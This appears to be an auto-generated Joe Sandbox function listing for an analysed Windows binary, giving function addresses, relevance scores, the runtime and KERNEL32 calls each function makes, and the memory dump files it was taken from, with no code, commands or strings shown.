        Function 0045D129, Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 120
        APIs
          • Part of subcall function 00457B40: strcat.MSVCRT ref: 00457C0A
          • Part of subcall function 00457B40: strcat.MSVCRT ref: 00457C7A
        • strlen.MSVCRT ref: 0045D1F1
          • Part of subcall function 00430510: strlen.MSVCRT ref: 00430554
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00457090, Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 106
        APIs
        • strchr.MSVCRT ref: 004570A5
        • memcpy.MSVCRT ref: 00457143
        • memset.MSVCRT ref: 00457164
        • memcpy.MSVCRT ref: 00457185
          • Part of subcall function 00455C90: sscanf.MSVCRT ref: 00455CC3
          • Part of subcall function 004660F0: strchr.MSVCRT ref: 0046611B
          • Part of subcall function 004660F0: isspace.MSVCRT ref: 00466183
          • Part of subcall function 004660F0: strchr.MSVCRT ref: 0046619E
          • Part of subcall function 004660F0: isspace.MSVCRT ref: 004661DA
          • Part of subcall function 004660F0: strlen.MSVCRT ref: 004661F3
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00414A67, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
        APIs
        • memcpy.MSVCRT ref: 00414A7D
          • Part of subcall function 00413470: memcmp.MSVCRT ref: 0041348A
        • memset.MSVCRT ref: 00414AE9
        • strlen.MSVCRT ref: 00414B6C
          • Part of subcall function 00430510: strlen.MSVCRT ref: 00430554
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E1270, Relevance: 7.6, APIs: 5, Instructions: 67
        APIs
        • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E1F9A), ref: 004E1287
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004E1F9A), ref: 004E12A7
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004E1F9A), ref: 004E12D5
        • ReleaseSemaphore.KERNEL32 ref: 004E130A
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004E1F9A), ref: 004E1323
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004303A0, Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 56
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00430480, Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 41
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004053C0, Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 35
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E17B0, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 191
        APIs
        • WaitForMultipleObjects.KERNEL32 ref: 004E17FA
        • WaitForSingleObject.KERNEL32 ref: 004E183D
          • Part of subcall function 004E42D0: ResetEvent.KERNEL32 ref: 004E433E
          • Part of subcall function 004E42D0: WaitForSingleObject.KERNEL32 ref: 004E4399
          • Part of subcall function 004E42D0: Sleep.KERNEL32 ref: 004E43CE
          • Part of subcall function 004E42D0: Sleep.KERNEL32 ref: 004E43F3
        • ResetEvent.KERNEL32 ref: 004E1A02
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E2E30, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004D1AF0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 0046232C, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60
        APIs
          • Part of subcall function 00456CB0: strlen.MSVCRT ref: 00456CC1
          • Part of subcall function 00456CB0: strncmp.MSVCRT ref: 00456CD3
        • strspn.MSVCRT ref: 0046219F
        • strspn.MSVCRT ref: 004621C3
        • strspn.MSVCRT ref: 004621DD
          • Part of subcall function 00430450: strlen.MSVCRT ref: 0043045F
        • strspn.MSVCRT ref: 004622F9
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004015D7, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00463CE0, Relevance: 6.5, APIs: 5, Instructions: 213
        APIs
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E2F90, Relevance: 6.3, APIs: 5, Instructions: 95
        APIs
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E2560
          • Part of subcall function 004E2510: WaitForSingleObject.KERNEL32 ref: 004E25A2
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,004E7324,?,?,?,005704F9,?,?,?,?,00000001), ref: 004E25C5
          • Part of subcall function 004E2510: CreateEventA.KERNEL32 ref: 004E260F
          • Part of subcall function 004E2510: CloseHandle.KERNEL32 ref: 004E262E
          • Part of subcall function 004E2510: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E263C
        • free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E2FBD
        • free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E2FCC
        • free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E2FDB
          • Part of subcall function 004E2810: GetCurrentThreadId.KERNEL32 ref: 004E2867
          • Part of subcall function 004E2810: SetEvent.KERNEL32 ref: 004E2896
        • free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E30AB
        • memmove.MSVCRT ref: 004E30EB
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004D1460, Relevance: 6.3, APIs: 5, Instructions: 91
        APIs
          • Part of subcall function 004D0F00: strlen.MSVCRT ref: 004D0F66
          • Part of subcall function 004D0F00: strlen.MSVCRT ref: 004D106B
          • Part of subcall function 004D0F00: strlen.MSVCRT ref: 004D10C2
        • strlen.MSVCRT ref: 004D14F5
        • memcpy.MSVCRT ref: 004D1510
        • free.MSVCRT(?,?,?,?,?,?,?,?,?,004E8A4B), ref: 004D151A
        • free.MSVCRT(?,?,?,?,?,?,?,?,?,004E8A4B), ref: 004D1543
        • free.MSVCRT(?,?,?,?,?,?,?,?,?,004E8A4B), ref: 004D1587
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004D0F00, Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 328
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00412499, Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 216
        APIs
          • Part of subcall function 00436470: memcpy.MSVCRT ref: 00436504
        • memcmp.MSVCRT ref: 00412720
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0047D2D0, Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 190
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00447DB0, Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 183
        APIs
        • memcpy.MSVCRT ref: 00447E4F
          • Part of subcall function 00407A50: memcpy.MSVCRT ref: 00407CBE
          • Part of subcall function 00407A50: memcpy.MSVCRT ref: 00407CD9
          • Part of subcall function 00407A50: memcpy.MSVCRT ref: 00407DED
          • Part of subcall function 00447BA0: memcpy.MSVCRT ref: 00447C31
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00441F50, Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 176
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0040CB5C, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 129
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 0049B6B0, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 125
        APIs
        • strlen.MSVCRT ref: 0049B7B9
          • Part of subcall function 004B0AC0: gmtime.MSVCRT ref: 004B0ACF
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00407400, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 123
        APIs
          • Part of subcall function 00407060: memcpy.MSVCRT ref: 0040712F
          • Part of subcall function 00407060: memcpy.MSVCRT ref: 004071EB
          • Part of subcall function 00407060: memcpy.MSVCRT ref: 00407222
        • memcpy.MSVCRT ref: 00407509
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
        • memcpy.MSVCRT ref: 00407581
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00416B60, Relevance: 6.1, APIs: 4, Instructions: 114
        APIs
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004477E0, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109
        APIs
          • Part of subcall function 0040C4B0: memcpy.MSVCRT ref: 0040C519
          • Part of subcall function 0040C4B0: strlen.MSVCRT ref: 0040C567
        • memcpy.MSVCRT ref: 004478D5
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E42D0, Relevance: 6.1, APIs: 4, Instructions: 100
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 0045D149, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 92
        APIs
          • Part of subcall function 00457B40: strcat.MSVCRT ref: 00457C0A
          • Part of subcall function 00457B40: strcat.MSVCRT ref: 00457C7A
        • strlen.MSVCRT ref: 0045D1F1
          • Part of subcall function 00430510: strlen.MSVCRT ref: 00430554
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 0049BD00, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 92
        APIs
          • Part of subcall function 004B0AC0: gmtime.MSVCRT ref: 004B0ACF
        • strlen.MSVCRT ref: 0049BDE5
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00445D40, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 89
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0045A2DC, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 80
        APIs
          • Part of subcall function 00456CB0: strlen.MSVCRT ref: 00456CC1
          • Part of subcall function 00456CB0: strncmp.MSVCRT ref: 00456CD3
        • strlen.MSVCRT ref: 0045A18B
        • strlen.MSVCRT ref: 0045A309
          • Part of subcall function 0040C4B0: memcpy.MSVCRT ref: 0040C519
          • Part of subcall function 0040C4B0: strlen.MSVCRT ref: 0040C567
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E53F0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 74
        APIs
        • calloc.MSVCRT ref: 004E5413
        • free.MSVCRT ref: 004E54B7
          • Part of subcall function 004E29A0: CloseHandle.KERNEL32 ref: 004E29BD
          • Part of subcall function 004E29A0: free.MSVCRT(?,?,00000000,00000000,004E2D2B,?,?,00000000,00000004,004E32AD), ref: 004E29C9
        • free.MSVCRT ref: 004E54DB
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0040C4B0, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 70
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00405290, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 59
        APIs
          • Part of subcall function 004301C0: memset.MSVCRT ref: 00430254
          • Part of subcall function 004301C0: memset.MSVCRT ref: 0043027A
        • memcpy.MSVCRT ref: 004052EC
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00449E60, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00416E1C, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 36
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0040C960, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 30
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004319A9, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 27
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
